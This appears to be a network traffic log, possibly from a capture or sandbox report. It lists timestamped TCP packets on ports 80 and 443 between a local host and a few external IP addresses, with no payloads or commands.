Sep 6, 2024 08:17:06.757137060 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757148027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757158041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757167101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757167101 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757169962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757180929 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757180929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757191896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757194042 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757203102 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757215023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757224083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757253885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757283926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757294893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757304907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757318020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757319927 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757334948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757344007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757347107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757356882 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757368088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757368088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757380009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757385969 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757390976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757404089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757414103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757414103 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757437944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757451057 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757463932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757476091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757482052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.757505894 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.757529020 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.770915985 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.771027088 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.774761915 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.774774075 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.775048018 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.776295900 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.776664019 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.779591084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779602051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779618025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779628992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779639006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779650927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779659986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.779661894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.779707909 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.802730083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802771091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802782059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802792072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802803040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802814007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802822113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.802824974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802836895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.802984953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.802984953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.802984953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.803553104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803570986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803581953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803603888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.803625107 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.803679943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803690910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803700924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803711891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.803731918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.803755045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.804096937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804147005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804188967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804203987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804214001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804224968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804235935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804244041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804248095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804260015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804270983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804294109 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804534912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804546118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804557085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804588079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804606915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804610968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804622889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804639101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804650068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804656982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804661036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.804685116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.804706097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.806493044 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806533098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806543112 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806546926 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.806566954 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.806581974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.806583881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806596041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806606054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806618929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806624889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.806632996 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.806664944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815418005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815440893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815452099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815469980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815498114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815509081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815520048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815525055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815541983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815592051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815602064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815612078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815619946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815650940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815661907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815670013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815670967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815674067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815691948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815701008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815702915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815715075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815725088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815726995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815736055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.815753937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815773010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815783978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815793037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815804958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.815821886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815824032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815834999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815848112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815851927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815864086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815865993 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.815876961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.815886974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816052914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816062927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816072941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816083908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816083908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816095114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816108942 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816108942 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816133976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816143990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816154003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816158056 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816165924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816174030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816179991 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816185951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816193104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816205978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816236019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816236019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816257000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816276073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816287041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816292048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816303015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816329002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816344976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816355944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816365957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816373110 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816416979 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816416979 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816637993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816648006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816658020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816674948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816683054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816693068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816699982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816699982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816705942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816715956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816720009 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816732883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816744089 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816788912 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816790104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816790104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816801071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816812038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816838026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816873074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816883087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816893101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816899061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816901922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816912889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816924095 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816924095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816946030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.816947937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.816972971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.816987991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.816998959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817003012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817008972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817035913 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.817035913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817055941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817065001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817075014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817082882 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.817085028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817094088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817106962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817111015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817111015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817152977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.817153931 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817173958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817183971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.817189932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817199945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817200899 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.817212105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817222118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817225933 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.817234039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817248106 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817270994 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817270994 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.817939997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817955017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817965031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817976952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817987919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.817991018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818015099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818033934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818044901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818054914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818057060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818077087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818144083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818160057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818171024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818171978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818181038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818195105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818197012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818223000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818232059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818243027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818259001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818272114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818273067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818299055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818324089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818325996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818326950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818335056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818372965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818383932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818393946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818402052 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818407059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818419933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818475962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818486929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818497896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818500996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818509102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818523884 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818525076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818536043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818546057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818550110 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818556070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818576097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818628073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818655968 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.818670034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818681002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818692923 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818751097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818762064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818772078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818778038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818788052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818799973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818809986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818821907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818837881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818837881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818864107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818875074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818888903 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818892002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818902969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.818913937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818921089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818922997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.818945885 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.818991899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819004059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819014072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819020033 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819025993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819036007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819040060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819053888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819063902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819065094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819077969 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819108009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819108963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819160938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819171906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819181919 CEST	80	49734	176.113.115.33	192.168.2.4
